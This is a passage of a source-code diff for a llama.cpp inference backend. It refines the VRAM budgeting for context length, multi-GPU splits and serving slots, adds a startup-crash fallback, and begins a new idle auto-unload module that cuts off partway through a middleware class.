_GPU_PIN_VRAM_FRACTION = 0.95
# deferring to ``--fit on``. 3% headroom: the compute buffer is now modelled in
# the fit, so this only guards fragmentation + multi-GPU per-device CUDA context
# (~2-3%); kept >= 3% as a floor (0.90 dropped 91-94% fits to CPU offload, #5106).
_GPU_PIN_VRAM_FRACTION = 0.97
# Fallback per-device tensor-mode compute buffer (MiB), used only when GGUF
# dims are unavailable so _estimate_compute_buffer_bytes (the primary, derived
@ -2977,6 +3027,27 @@ class LlamaCppBackend:
_DEFAULT_N_UBATCH = 512 # llama.cpp --ubatch default; Studio does not override it
_COMPUTE_BUFFER_SAFETY = 1.15 # upper-bound margin on the compute-buffer estimate
# Soft VRAM the modeled terms omit; charged to the fit budget on tight tiers (#6682).
_CUDA_CONTEXT_RESERVE_BYTES = 320 * 1024 * 1024 # CUDA ctx + cuBLAS workspace (~330 MiB)
_MMPROJ_VRAM_SAFETY = 1.4 # mmproj worst-case buffer vs file size (runtime ~1.3x)
_MTP_DRAFT_COMPUTE_BYTES = 224 * 1024 * 1024 # MTP draft decode graph beyond its KV
# The flash-attn KQ mask + attention scratch grow ~linearly with context; the flat
# _estimate_compute_buffer_bytes term only covers ctx -> 0. The per-token rate
# depends on the KV cache type: a QUANTIZED cache (q8_0/q5/q4/iq4) needs a
# context-sized dequant scratch that scales with n_embd, measured at 0.74-2.02 x
# n_embd across Qwen3.5/3.6 (2B/4B/9B/27B) and Gemma-4 (12B/31B) at q8_0; an
# f16/bf16/f32 cache skips the dequant and pays only the KQ mask, a flat n_ubatch*2
# bytes per context token regardless of n_embd (measured 1024 B/tok on Qwen-9B and
# Gemma-31B alike). So Qwen3.5-4B at 256k is 1.30 GiB at q8_0 vs 0.31 GiB at f16.
# 2.25 covers the worst quantized case (Qwen3.5-4B, ~2.0x) plus the under-modeled
# flat base; the mask safety covers the f16 base gap. Without this term, tight tiers
# at extreme context over-pin and spill to CPU (the 3% cushion is only ~0.25 GiB on
# an 8 GB card, far below the ~1-2.4 GiB quantized buffer at 256k): e.g. Qwen3.5-4B
# Q4 at 256k needs ~8.5 GiB on a real 8 GB card (weights 2.4 + KV 4.3 + compute 1.3
# + CUDA ctx) -> CPU spill; with this reserve the auto context caps to ~210k, fits.
_CTX_COMPUTE_BYTES_PER_EMBD = 2.25 # quantized KV, regular attention (dequant scratch)
_CTX_COMPUTE_BYTES_PER_EMBD_MLA = 1.25 # quantized KV, MLA (compressed attn: measured 0.94x)
_CTX_COMPUTE_F16_MASK_SAFETY = 1.5 # f16/bf16/f32 KV: KQ mask only (n_ubatch*2 B/tok)
def _estimate_compute_buffer_bytes(
self,
@ -3007,6 +3078,85 @@ class LlamaCppBackend:
compute = act_scratch + out_buffer * max(0, par - 1)
return int(compute * self._COMPUTE_BUFFER_SAFETY)
def _compute_buffer_ctx_bytes(
self,
n_ctx: int,
n_ubatch: Optional[int] = None,
cache_type_kv: Optional[str] = None,
) -> int:
"""Context-linear growth of the per-device compute buffer (bytes), charged
on top of the flat ``_estimate_compute_buffer_bytes``. The flash-attn KQ
mask + attention scratch scale ~linearly with context and with the micro-
batch; the flat term only covers ctx -> 0. A quantized KV cache adds a
context-sized dequant scratch that scales with n_embd; f16/bf16/f32 pays only
the KQ mask, a flat n_ubatch*2 bytes per context token. ``cache_type_kv`` None
-> f16 (llama.cpp's default; an env-set quantized cache is budgeted as f16 on
the KV side, whose over-reservation absorbs the dequant scratch). Returns 0
when dims are missing or ``n_ctx`` <= 0."""
n_embd = self._embedding_length or 0
if n_embd <= 0 or n_ctx <= 0:
return 0
ub = max(1, int(n_ubatch if n_ubatch else self._DEFAULT_N_UBATCH))
if _kv_bytes_per_elem(cache_type_kv) < 2.0:
# Quantized cache: the dequant scratch dominates and scales with n_embd.
# MLA (compressed KV) needs far less of it: measured 0.94 x n_embd on
# GLM-5.2 and Kimi-K2.7 vs up to 2.02x on regular attention.
ub_scale = ub / self._DEFAULT_N_UBATCH
rate = (
self._CTX_COMPUTE_BYTES_PER_EMBD_MLA
if self._key_length_mla
else self._CTX_COMPUTE_BYTES_PER_EMBD
)
per_tok = rate * n_embd * ub_scale
else:
# f16/bf16/f32: only the KQ mask ([n_kv, n_ubatch] f16), n_embd-independent.
per_tok = ub * 2 * self._CTX_COMPUTE_F16_MASK_SAFETY
return int(per_tok * n_ctx)
def _slots_that_fit_on_gpu(
self,
n_parallel: int,
effective_ctx: int,
gpus: list[tuple[int, int]],
total_by_idx: Optional[dict[int, int]],
base_footprint_bytes: int,
cache_type_kv: Optional[str],
pin_fraction: float,
per_device_overhead_bytes: int,
min_gpus: int,
n_ubatch: Optional[int] = None,
) -> tuple[Optional[list[int]], bool, int]:
"""Largest serving-slot count in [1, n_parallel) whose fully-on-GPU footprint fits,
so Studio keeps the model on GPU (-ngl -1) instead of --fit on, which offloads layers
to host and collapses decode ~3x (oobabooga #6718). ``base_footprint_bytes`` is the
slot-independent footprint (weights + soft overhead + MTP + context-linear compute,
minus the folded compute buffer); each candidate re-adds the slot-sized compute buffer
and KV, then re-selects GPUs like the explicit-context path. Returns (gpu_indices,
use_fit=False, slots) for the largest fitting count, else (None, True, n_parallel).
Only ever reduces; deterministic and unit-testable with synthetic VRAM maps."""
for slots in range(n_parallel - 1, 0, -1):
cb = self._estimate_compute_buffer_bytes(
n_ubatch = n_ubatch, n_parallel = slots, per_device_tensor = False
)
if cb <= 0:
cb = self._TENSOR_PARALLEL_BUFFER_RESERVE_MIB * 1024 * 1024
total = (
base_footprint_bytes
+ cb
+ self._estimate_kv_cache_bytes(effective_ctx, cache_type_kv, n_parallel = slots)
)
gpu_indices, use_fit = self._select_gpus(
total,
gpus,
usable_fraction = pin_fraction,
total_by_idx = total_by_idx,
per_device_overhead_bytes = per_device_overhead_bytes,
min_gpus = min_gpus,
)
if not use_fit:
return gpu_indices, False, slots
return None, True, n_parallel
def _fit_context_to_vram(
self,
requested_ctx: int,
@ -3022,6 +3172,7 @@ class LlamaCppBackend:
kv_on_gpu: bool = True,
mtp_engaged: bool = False,
mtp_overhead_fn: Optional[Callable[[int], int]] = None,
compute_ctx_bytes_fn: Optional[Callable[[int], int]] = None,
budget_frac: Optional[float] = None,
total_mib: Optional[int] = None,
) -> int:
@ -3073,9 +3224,14 @@ class LlamaCppBackend:
def _mtp_at(ctx: int) -> int:
return mtp_overhead_fn(ctx) if mtp_overhead_fn is not None else 0
def _cc_at(ctx: int) -> int:
# Context-linear compute-buffer growth (flash-attn KQ mask + scratch);
# the flat term in model_footprint only covers ctx -> 0.
return compute_ctx_bytes_fn(ctx) if compute_ctx_bytes_fn is not None else 0
# Already fits?
kv = self._estimate_kv_cache_bytes(requested_ctx, cache_type_kv, **kv_kwargs)
if model_footprint + kv + _mtp_at(requested_ctx) <= budget_bytes:
if model_footprint + kv + _mtp_at(requested_ctx) + _cc_at(requested_ctx) <= budget_bytes:
return requested_ctx
# Weights + compute buffer alone exceed budget -- reducing ctx can't help.
@ -3096,7 +3252,7 @@ class LlamaCppBackend:
while lo <= hi:
mid = (lo + hi) // 2
kv = self._estimate_kv_cache_bytes(mid, cache_type_kv, **kv_kwargs)
if kv + _mtp_at(mid) <= remaining:
if kv + _mtp_at(mid) + _cc_at(mid) <= remaining:
best = mid
lo = mid + 1
else:
@ -4213,6 +4369,17 @@ class LlamaCppBackend:
"expected; otherwise check the llama-server log for the cause."
)
# A live server that never answered 200 on /health is not a bad GGUF:
# the load is too large for VRAM/context, or a local proxy/VPN grabbed
# the loopback probe (#5740).
if "health check timed out" in lowered:
return (
"llama-server started but never became healthy on its local "
"/health endpoint. Try a smaller context length or a more "
"quantized GGUF, and if you use a VPN or HTTP proxy make sure "
"localhost bypasses it (NO_PROXY=127.0.0.1,localhost)."
)
# Fallback: genuinely unknown failure (OOM, missing binary ...).
return (
"llama-server failed to start. "
@ -4232,6 +4399,7 @@ class LlamaCppBackend:
max_target_ctx: Optional[int] = None,
total_by_idx: Optional[dict[int, int]] = None,
n_ubatch: Optional[int] = None,
soft_overhead_bytes: int = 0,
) -> tuple[int, int, list[int], Optional[list[int]]]:
"""Plan a ``--split-mode tensor`` load. Pure: no model or GPU needed.
@ -4243,9 +4411,11 @@ class LlamaCppBackend:
``(effective_ctx, max_available_ctx, gpu_indices, tensor_split)``.
Policy (assumes >= 2 GPUs; the caller drops the toggle below that):
- Cap context to the KV that fits the pooled VRAM after the weights and
one per-device compute-graph buffer (``_estimate_compute_buffer_bytes``,
deterministic from dims; flat fallback when dims are unavailable).
- Cap context to the KV that fits the pooled VRAM after the weights, one
per-device flat compute-graph buffer (``_estimate_compute_buffer_bytes``,
deterministic from dims; flat fallback when dims are unavailable), and the
per-device context-linear compute growth (``_compute_buffer_ctx_bytes``,
replicated on every device in tensor mode, so summed over the split).
llama.cpp's ``--fit`` is a no-op in tensor mode, so this is the only
cap, honored even for an explicit ``-c``. It is more accurate than the
0.80 whole-pool heuristic, which over-reserves and leaves VRAM unused.
@ -4254,7 +4424,9 @@ class LlamaCppBackend:
share fits the smallest GPU; otherwise it is weighted by usable budget
so the roomier GPU absorbs more weight and the smallest keeps room for KV.
``total_by_idx`` enables the total-based occupancy cap; ``n_ubatch`` sizes
the compute buffer.
the compute buffer. ``soft_overhead_bytes`` is the CUDA-context / mmproj /
MTP-draft-graph reserve the layer path folds into ``model_size_fit``;
charged against the pooled budget so tensor mode reserves the same overhead.
"""
# Per-GPU usable budget: free - (1-frac)*total, else (unknown total, e.g. a
@ -4300,16 +4472,40 @@ class LlamaCppBackend:
flat_mtp_bytes = max(0, mtp_flat_reserve_bytes)
if mtp_engaged and mtp_overhead_fn is None:
flat_mtp_bytes = max(flat_mtp_bytes, 2 * 1024**3)
# soft_overhead_bytes is the CUDA-context / mmproj / MTP-draft-graph reserve
# the layer path folds into model_size_fit. Tensor mode has no --fit valve, so
# an unreserved overshoot OOMs at startup rather than offloading; charge it here
# too. Once (pooled), mirroring the layer path -- the per-device CUDA context is
# a known slight under-charge, left for real multi-GPU data.
kv_budget_b = (
(pool_mib - len(gpu_indices) * reserve_mib) * 1024 * 1024 - model_size - flat_mtp_bytes
(pool_mib - len(gpu_indices) * reserve_mib) * 1024 * 1024
- model_size
- flat_mtp_bytes
- max(0, soft_overhead_bytes)
)
def _mtp_at(ctx: int) -> int:
return mtp_overhead_fn(ctx) if mtp_overhead_fn is not None else 0
# Context-linear compute buffer, summed over the split. Tensor mode
# replicates the compute graph on EVERY device (measured: the per-device
# buffer grows a flat n_ubatch*2 bytes/token, ~1024 B/tok on Qwen3.5-9B at
# f16, independent of n_embd), so the growth is n_dev x the per-device
# term. cache_type_kv here is always non-quantized (tensor forces f16), so
# _compute_buffer_ctx_bytes returns the light KQ-mask term, not the heavy
# quantized dequant scratch. The flat reserve_mib above only covers ctx->0;
# without this the fit over-pins and OOMs at high context on a tight pool
# (0.5-4 GiB unreserved at 262k-1M across 2-4 GPUs), the tensor-mode analog
# of the layer-split compute bug.
n_dev = len(gpu_indices)
def _cc_ctx(ctx: int) -> int:
return n_dev * self._compute_buffer_ctx_bytes(ctx, n_ubatch, cache_type_kv)
def _fit_ctx(ctx: int) -> int:
# Largest context whose KV (+ MTP draft reserve) fits the pooled
# budget. Floors small, but never raises an explicit ctx above asked.
# Largest context whose KV (+ MTP draft reserve + context-linear
# compute) fits the pooled budget. Floors small, but never raises an
# explicit ctx above asked.
if self._can_estimate_kv() and ctx > 0:
ctx_floor = min(2048, ctx)
if kv_budget_b <= 0:
@ -4317,11 +4513,13 @@ class LlamaCppBackend:
# falls back to layer split.
return ctx_floor
if mtp_overhead_fn is not None:
# kv(ctx)+mtp(ctx) is not single-linear, so binary search.
# kv(ctx)+mtp(ctx)+compute(ctx) is not single-linear, so binary search.
def _consumer(c: int) -> int:
return self._estimate_kv_cache_bytes(
c, cache_type_kv, n_parallel = n_parallel
) + _mtp_at(c)
return (
self._estimate_kv_cache_bytes(c, cache_type_kv, n_parallel = n_parallel)
+ _mtp_at(c)
+ _cc_ctx(c)
)
if _consumer(ctx) <= kv_budget_b:
return ctx
@ -4335,9 +4533,10 @@ class LlamaCppBackend:
hi = mid - 1
return best
kv_at = self._estimate_kv_cache_bytes(ctx, cache_type_kv, n_parallel = n_parallel)
if kv_at <= kv_budget_b:
total_at = kv_at + _cc_ctx(ctx) # both ~linear through the origin
if total_at <= kv_budget_b:
return ctx
return max(ctx_floor, int(ctx * kv_budget_b / kv_at))
return max(ctx_floor, int(ctx * kv_budget_b / total_at))
# KV size unknown -> can't prove a safe cap; floor.
return min(4096, ctx) if ctx > 0 else 4096
@ -4357,10 +4556,23 @@ class LlamaCppBackend:
# The MTP reserve also has to fit the even split (mirror the pooled budget):
# byte-accurate per-ctx (0 when no fn) plus the same flat cushion as above.
mtp_bytes = (_mtp_at(effective_ctx) if effective_ctx > 0 else 0) + flat_mtp_bytes
even_share_mib = (model_size + kv_bytes + mtp_bytes) / len(gpu_indices) / (1024 * 1024)
# Context-linear compute is replicated per device; charge the whole split so
# the weighted ratio reflects it (mirrors kv_budget_b's per-device reserve).
cc_bytes = _cc_ctx(effective_ctx) if effective_ctx > 0 else 0
even_share_mib = (
(model_size + kv_bytes + mtp_bytes + cc_bytes) / len(gpu_indices) / (1024 * 1024)
)
tensor_split: Optional[list[int]] = None
if even_share_mib > (min_usable_mib - reserve_mib):
adj = [max(0, int(usable_by_idx[i] - reserve_mib)) for i in gpu_indices]
# Each device also holds its replicated share of the context-linear
# compute (cc_bytes/n_dev) on top of the flat reserve. The even-share
# gate above charges cc_bytes; the split weights must subtract it too, or
# the smaller card is weighted above its real usable budget and OOMs (the
# per-device analog of the layer path's per-GPU overhead in _select_gpus).
cc_per_dev_mib = (cc_bytes // len(gpu_indices)) // (1024 * 1024) if cc_bytes else 0
adj = [
max(0, int(usable_by_idx[i] - reserve_mib - cc_per_dev_mib)) for i in gpu_indices
]
if sum(adj) > 0:
tensor_split = adj
return effective_ctx, max_available_ctx, gpu_indices, tensor_split
@ -5123,6 +5335,20 @@ class LlamaCppBackend:
# compute buffer); None -> the 512 default in the estimate.
_effective_ubatch = _extra_args_n_ubatch(extra_args)
def _cc_bytes(ctx: int, n_gpus: int = 1) -> int:
# Context-linear compute-buffer growth (flash-attn KQ mask +
# attention scratch); the flat _compute_buffer_pipeline folded
# into model_size_fit only covers ctx -> 0. Charged per
# candidate context so the fit can't over-pin and spill. The
# rate depends on the KV cache type (quantized adds a dequant
# scratch), so pass it through. In a layer split this buffer is
# replicated on EVERY device (measured ~equal per GPU), so scale
# by the device count; a large model at high context otherwise
# under-reserves ~(n-1)x it (e.g. Qwen3.5-397B on 3 GPUs).
return max(1, n_gpus) * self._compute_buffer_ctx_bytes(
ctx, _effective_ubatch, cache_type_kv
)
# Layer-split compute buffer (one lump; tensor mode reserves it
# per device in _plan_tensor_parallel). Context-independent, so
# fold it into the model footprint for the branches below. Falls
@ -5137,7 +5363,6 @@ class LlamaCppBackend:
_compute_buffer_pipeline = (
self._TENSOR_PARALLEL_BUFFER_RESERVE_MIB * 1024 * 1024
)
model_size_fit = model_size + _compute_buffer_pipeline
# Layer split adds a fixed per-device overhead on every GPU. The
# folded buffer covers one device; reserve the extra devices'
@ -5145,9 +5370,6 @@ class LlamaCppBackend:
# (k=1 adds nothing).
_pipeline_overhead_bytes = self._PIPELINE_PER_DEVICE_OVERHEAD_MIB * 1024 * 1024
def _subset_model_size(n_gpus: int) -> int:
return model_size_fit + max(0, n_gpus - 1) * _pipeline_overhead_bytes
# Auto-cap context to fit VRAM and select GPUs. Explicit n_ctx:
# honor it, cap only if it fits no combination. Auto (native):
# prefer fewer GPUs with reduced context (multi-GPU is slower).
@ -5174,6 +5396,21 @@ class LlamaCppBackend:
else 0.0
)
_pin_fraction = self._GPU_PIN_VRAM_FRACTION - _flat_mtp_reserve
# Charge the soft overhead _CTX_FIT_VRAM_FRACTION under-covers on tight
# tiers, gated so plain dense loads (#5106) only pay the CUDA-ctx base.
# CUDA/cuBLAS context is discrete-GPU only (not Metal); the mmproj and
# MTP draft-graph buffers exist on every backend.
_soft_overhead = self._CUDA_CONTEXT_RESERVE_BYTES if gpus else 0
if effective_is_vision and mmproj_size > 0:
_soft_overhead += int(mmproj_size * (self._MMPROJ_VRAM_SAFETY - 1.0))
if _mtp_reserves_gpu:
_soft_overhead += self._MTP_DRAFT_COMPUTE_BYTES
model_size_fit = model_size + _compute_buffer_pipeline + _soft_overhead
def _subset_model_size(n_gpus: int) -> int:
return model_size_fit + max(0, n_gpus - 1) * _pipeline_overhead_bytes
# Unified-memory budget (0 off Apple Silicon) for the no-GPU Metal cap below.
_apple_budget_mib = self._apple_metal_memory_budget_bytes() // (1024 * 1024)
@ -5278,7 +5515,9 @@ class LlamaCppBackend:
_tp_flat_mtp,
_mtp_bytes(min(2048, effective_ctx) if effective_ctx > 0 else 2048),
)
_tp_required_mib = (model_size + _tp_mtp_floor) / (1024 * 1024)
_tp_required_mib = (model_size + _tp_mtp_floor + _soft_overhead) / (
1024 * 1024
)
if _tp_weight_budget_mib <= _tp_required_mib:
logger.info(
"Tensor parallelism requested but the pooled VRAM "
@ -5327,6 +5566,7 @@ class LlamaCppBackend:
max_target_ctx = self._context_length or target_ctx,
total_by_idx = total_by_idx,
n_ubatch = _effective_ubatch,
soft_overhead_bytes = _soft_overhead,
)
use_fit = False
elif gpus and self._can_estimate_kv() and effective_ctx > 0:
@ -5351,6 +5591,9 @@ class LlamaCppBackend:
# budget so the fit and the check below agree.
pool_budget = _pool_budget_mib(subset, _cap_fraction)
_ms = _subset_model_size(n_gpus)
# Compute buffer is replicated per device in a layer
# split, so scale the context term by the subset size.
_cc_sub = lambda c, n = n_gpus: _cc_bytes(c, n)
capped = self._fit_context_to_vram(
native_ctx_for_cap,
pool_budget,
@ -5359,13 +5602,16 @@ class LlamaCppBackend:
n_parallel = n_parallel,
mtp_engaged = _mtp_reserves_gpu,
mtp_overhead_fn = mtp_overhead_fn,
compute_ctx_bytes_fn = _cc_sub,
budget_frac = 1.0,
total_mib = None,
)
kv = self._estimate_kv_cache_bytes(
capped, cache_type_kv, n_parallel = n_parallel
)
footprint_mib = (_ms + kv + _mtp_bytes(capped)) / (1024 * 1024)
footprint_mib = (
_ms + kv + _mtp_bytes(capped) + _cc_sub(capped)
) / (1024 * 1024)
if footprint_mib <= pool_budget:
best_cap = max(best_cap, capped)
if best_cap > 0:
@ -5386,13 +5632,18 @@ class LlamaCppBackend:
effective_ctx, cache_type_kv, n_parallel = n_parallel
)
+ _mtp_bytes(effective_ctx)
+ _cc_bytes(effective_ctx)
)
# The compute buffer is replicated on every device in a
# layer split; fold it into the per-device reserve so a
# multi-GPU pin sizes each card for its own copy.
gpu_indices, use_fit = self._select_gpus(
requested_total,
gpus,
usable_fraction = _pin_fraction,
total_by_idx = total_by_idx,
per_device_overhead_bytes = _pipeline_overhead_bytes,
per_device_overhead_bytes = _pipeline_overhead_bytes
+ _cc_bytes(effective_ctx),
min_gpus = _layer_min_gpus,
)
# No silent shrink: effective_ctx stays == requested_ctx.
@ -5423,6 +5674,9 @@ class LlamaCppBackend:
subset = ranked[:n_gpus]
pool_budget = _pool_budget_mib(subset, pin_fraction)
_ms = _subset_model_size(n_gpus)
# Compute buffer is replicated per device in a layer
# split, so scale the context term by the subset size.
_cc_sub = lambda c, n = n_gpus: _cc_bytes(c, n)
capped = self._fit_context_to_vram(
effective_ctx,
pool_budget,
@ -5431,13 +5685,16 @@ class LlamaCppBackend:
n_parallel = n_parallel,
mtp_engaged = _mtp_reserves_gpu,
mtp_overhead_fn = mtp_overhead_fn,
compute_ctx_bytes_fn = _cc_sub,
budget_frac = 1.0,
total_mib = None,
)
kv = self._estimate_kv_cache_bytes(
capped, cache_type_kv, n_parallel = n_parallel
)
footprint_mib = (_ms + kv + _mtp_bytes(capped)) / (1024 * 1024)
footprint_mib = (
_ms + kv + _mtp_bytes(capped) + _cc_sub(capped)
) / (1024 * 1024)
if footprint_mib <= pool_budget:
effective_ctx = capped
gpu_indices = sorted(idx for idx, _ in subset)
@ -5460,6 +5717,7 @@ class LlamaCppBackend:
_subset_model_size(n_gpus)
+ kv
+ _mtp_bytes(effective_ctx)
+ _cc_bytes(effective_ctx, n_gpus)
) / (1024 * 1024)
if footprint_mib <= _pool_budget_mib(subset, pin_fraction):
gpu_indices = sorted(idx for idx, _ in subset)
@ -5514,6 +5772,7 @@ class LlamaCppBackend:
n_parallel = n_parallel,
mtp_engaged = _mtp_reserves_gpu,
mtp_overhead_fn = mtp_overhead_fn,
compute_ctx_bytes_fn = _cc_bytes,
budget_frac = 1.0,
total_mib = None,
)
@ -5523,6 +5782,7 @@ class LlamaCppBackend:
cap, cache_type_kv, n_parallel = n_parallel
)
+ _mtp_bytes(cap)
+ _cc_bytes(cap)
) / (1024 * 1024)
# Fit returns the request unchanged when it fits OR weights
# exceed budget; only the latter over-commits, so floor to 4096.
@ -5538,6 +5798,48 @@ class LlamaCppBackend:
if not explicit_ctx:
effective_ctx = max_available_ctx
# Prefer fewer serving slots on GPU over --fit on offload: when the extra
# --parallel slots push the footprint past the pin budget, llama-server
# offloads layers to host and decode collapses ~3x (#6718). Retry the fit
# at fewer slots, keeping the largest count that stays fully on GPU and the
# chosen context. Skips tensor mode / Metal / KV-inestimable paths.
if (
use_fit
and n_parallel > 1
and gpus
and self._can_estimate_kv()
and effective_ctx > 0
):
# Slot-independent footprint (folded compute buffer swapped out so the
# helper re-adds a slot-sized one per candidate).
_base_footprint = (
model_size_fit
- _compute_buffer_pipeline
+ _mtp_bytes(effective_ctx)
+ _cc_bytes(effective_ctx)
)
_gi_slots, _uf_slots, _slots = self._slots_that_fit_on_gpu(
n_parallel,
effective_ctx,
gpus,
total_by_idx,
_base_footprint,
cache_type_kv,
_pin_fraction,
_pipeline_overhead_bytes + _cc_bytes(effective_ctx),
_layer_min_gpus,
_effective_ubatch,
)
if not _uf_slots:
logger.info(
"Serving slots reduced %d -> %d to keep the model on GPU "
"(avoid --fit offload) at context %d.",
n_parallel,
_slots,
effective_ctx,
)
gpu_indices, use_fit, n_parallel = _gi_slots, False, _slots
# MTP reserve at the final context, for the logs below.
_mtp_reserve_bytes = _mtp_bytes(effective_ctx) if _mtp_will_engage else 0
if _mtp_will_engage:
@ -5636,8 +5938,10 @@ class LlamaCppBackend:
if use_fit:
cmd.extend(["--fit", "on"])
elif gpu_indices is not None:
# Fits on selected GPU(s) -- offload all layers
cmd.extend(["-ngl", "-1"])
# Fits on selected GPU(s) -- force all layers on GPU. --fit off is
# required: without it llama.cpp's default --fit on second-guesses
# and offloads ~1 GB at --parallel 4 even though the model fits.
cmd.extend(["-ngl", "-1", "--fit", "off"])
fully_gpu_offloaded = True
server_caps = self.probe_server_capabilities(binary)
@ -6022,6 +6326,33 @@ class LlamaCppBackend:
_split_axis_crash = self._is_tensor_split_assert(
"\n".join(self._stdout_lines[-50:])
)
if (
_spawn_attempt == 0
and fully_gpu_offloaded
and _startup_crashed
and not _split_axis_crash
):
# We forced --fit off because Studio's (conservative) VRAM
# math placed the model fully on GPU. A startup crash here
# means that estimate was optimistic, so fall back to --fit
# on and let llama.cpp offload rather than fail the load.
logger.warning(
"llama-server crashed during startup (exit code %s) "
"with forced --fit off; the fit estimate was optimistic, "
"retrying once with --fit on so it can offload. "
"Crash log: %s",
self._process.returncode,
self._llama_log_path,
)
# Flip Studio's own --fit off (added first, before any
# user extra args) to on; a user's later --fit still wins
# by last-arg. Defensive: if absent, the default is already
# --fit on, so leave it.
_run = list(run_cmd)
if "--fit" in _run:
_run[_run.index("--fit") + 1] = "on"
run_cmd = _run
continue
if (
_spawn_attempt == 0
and _fit_retry_allowed
@ -7166,6 +7497,13 @@ class LlamaCppBackend:
resolved_roots: list[Path] = []
for root in install_roots:
try:
# A --with-llama-cpp-dir local link (symlink/junction)
# resolves into the user's own checkout. Adding it would let
# us treat the user's externally-launched llama-server as our
# orphan and kill it, so leave such roots out of the
# allowlist (we forgo orphan-reaping for local-link installs).
if _is_external_link(root):
continue
resolved_roots.append(root.resolve())
except OSError:
pass
@ -7475,6 +7813,10 @@ class LlamaCppBackend:
time.sleep(interval)
# Leave a marker so _classify_llama_start_failure tells a live but
# never-healthy load (too large, or a proxy hijacking the loopback
# probe) apart from a bad GGUF (#5740).
self._stdout_lines.append(f"llama-server health check timed out after {timeout}s")
logger.error(f"llama-server health check timed out after {timeout}s")
return False

298
studio/backend/core/inference/llama_keepwarm.py Normal file
View file

@ -0,0 +1,298 @@
# SPDX-License-Identifier: AGPL-3.0-only
# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
"""Opt-in idle auto-unload (TTL keep-warm) for the local llama.cpp model.
Off by default (idle seconds = 0). When enabled, a background loop unloads the
loaded GGUF once it has been idle for the configured TTL, freeing VRAM. A
pure-ASGI middleware tracks in-flight inference requests so a long stream that
outlives the TTL is never unloaded mid-response.
"""
from __future__ import annotations
import asyncio
import contextlib
import threading
import time
from loggers import get_logger
logger = get_logger(__name__)
_lock = threading.Lock()
_inflight = 0
# Requests blocked on the unload gate but not yet counted in _inflight: the idle
# loop must not unload while one is waiting (it would unload out from under it).
_pending = 0
_last_active = time.monotonic()
# The (id, quant) idle-unload last freed, so an alias/unknown request that would
# otherwise 503 against an empty backend can reload it (set on unload, cleared on
# reload). Storing the quant means the reload restores the exact freed variant.
_last_unloaded_model = None
# Guards inflight bumps against the idle-check-then-unload race, and blocks new
# inference from starting mid-swap. Process-wide, not per-loop: the backend slot is
# shared across every event loop in the process, so a per-loop gate would let a
# request on loop B start inference while a swap on loop A tears the model down.
_lifecycle_lock = threading.Lock()
@contextlib.asynccontextmanager
async def _unload_gate():
# Acquire off the loop: non-blocking first (the common uncontended case), else
# poll a non-blocking acquire off a short sleep. Polling keeps the wait off this
# loop AND cancellation-safe -- a cancel lands during the sleep, when the gate is
# not held, so it never leaks (mirrors the auto-switch swap gate).
while not _lifecycle_lock.acquire(blocking = False):
await asyncio.sleep(0.02)
try:
yield
finally:
_lifecycle_lock.release()
_INFERENCE_PREFIXES = ("/v1/", "/api/inference/")
_INFERENCE_SUFFIXES = (
"/chat/completions",
"/completions",
"/messages",
"/messages/count_tokens", # counts via the loaded tokenizer; protect like /messages
"/embeddings",
"/responses",
"/generate/stream", # Studio's own streaming route on the same llama-server
"/audio/generate", # direct GGUF TTS; can outlive the idle TTL
)
def _is_inference_path(path: str) -> bool:
if path.startswith(_INFERENCE_PREFIXES) and path.endswith(_INFERENCE_SUFFIXES):
return True
# Public checkpoint preview (/p/{run}/v1/chat/completions) delegates to the
# chat handler and streams from the same backend, so protect it from idle unload.
return path.startswith("/p/") and path.endswith("/v1/chat/completions")
def _note_pending() -> None:
global _pending
with _lock:
_pending += 1
def _note_unpending() -> None:
global _pending
with _lock:
_pending = max(0, _pending - 1)
def _note_start() -> None:
# Do not stamp _last_active here: while _inflight > 0 the model is already
# protected (see _is_idle), and stamping on start lets an external-provider
# request that is later untracked still reset the local idle timer.
global _inflight, _pending
with _lock:
_pending = max(0, _pending - 1)
_inflight += 1
def _note_end() -> None:
global _inflight, _last_active
with _lock:
_inflight = max(0, _inflight - 1)
_last_active = time.monotonic()
def _note_untracked_end() -> None:
# Drop a request that never used the local GGUF without stamping local
# activity, so periodic external-provider traffic can't keep the model warm.
global _inflight
with _lock:
_inflight = max(0, _inflight - 1)
def _is_idle(ttl_seconds: float) -> bool:
with _lock:
return _inflight == 0 and _pending == 0 and (time.monotonic() - _last_active) >= ttl_seconds
def _note_activity() -> None:
"""Stamp activity, e.g. on a (re)load, so the model survives at least one TTL."""
global _last_active
with _lock:
_last_active = time.monotonic()
def other_inference_request_count(
current_request_counted: bool = True, *, include_pending: bool = True
) -> int:
"""Tracked inference requests other than the current route call.
The middleware counts OpenAI-compatible requests before route code runs, so
the caller is excluded by default. Idle-unload counts pending waiters too (a
swap holding the gate would unload out from under them). The swap guard passes
include_pending=False: a pending request is blocked in the middleware and has
not started inference, so it can't be the request a swap would interrupt.
"""
with _lock:
active = _inflight
if current_request_counted and active > 0:
active -= 1
return max(0, active) + (_pending if include_pending else 0)
# Set on the ASGI scope by a route that proved this request won't touch
# llama.cpp (e.g. it proxied to an external provider), so the keep-warm count
# excludes it and the middleware skips its own end-decrement.
_UNTRACKED_SCOPE_KEY = "_unsloth_keepwarm_untracked"
def untrack_current_request(scope) -> None:
"""Drop this request from the in-flight count once the route knows it won't
use the local GGUF, so unrelated external-provider traffic can't trip the
swap busy guard. Idempotent; the middleware then skips its end-decrement."""
if not isinstance(scope, dict) or scope.get(_UNTRACKED_SCOPE_KEY):
return
scope[_UNTRACKED_SCOPE_KEY] = True
_note_untracked_end()
def inference_lifecycle_gate():
"""The gate a model swap holds so new inference can't start mid-load. Process-
wide, so a swap on one loop blocks inference starting on any other loop."""
return _unload_gate()
def note_model_loaded() -> None:
"""Record a successful GGUF load: stamp activity and drop any reload stash so
a manual load clears it synchronously, not only on the next idle poll."""
_note_activity()
_set_last_unloaded(None)
def note_model_unloaded() -> None:
"""Record a deliberate (user/API) unload: drop any idle reload stash so the next
request can't resurrect the just-unloaded model. The idle loop unloads via the
backend directly and then stashes the freed model for an alias reload; an
explicit unload instead means "stay unloaded", so it must not stamp activity."""
_set_last_unloaded(None)
def get_last_unloaded_model():
with _lock:
return _last_unloaded_model
def _set_last_unloaded(value) -> None:
global _last_unloaded_model
with _lock:
_last_unloaded_model = value
class LlamaKeepWarmMiddleware:
"""Pure ASGI: count in-flight inference requests and stamp activity on completion."""
def __init__(self, app):
self.app = app
async def __call__(self, scope, receive, send):
# Inference endpoints are all POST; skipping non-POST avoids counting CORS
# preflight (OPTIONS). ``or ""`` guards an explicit None path.
if (
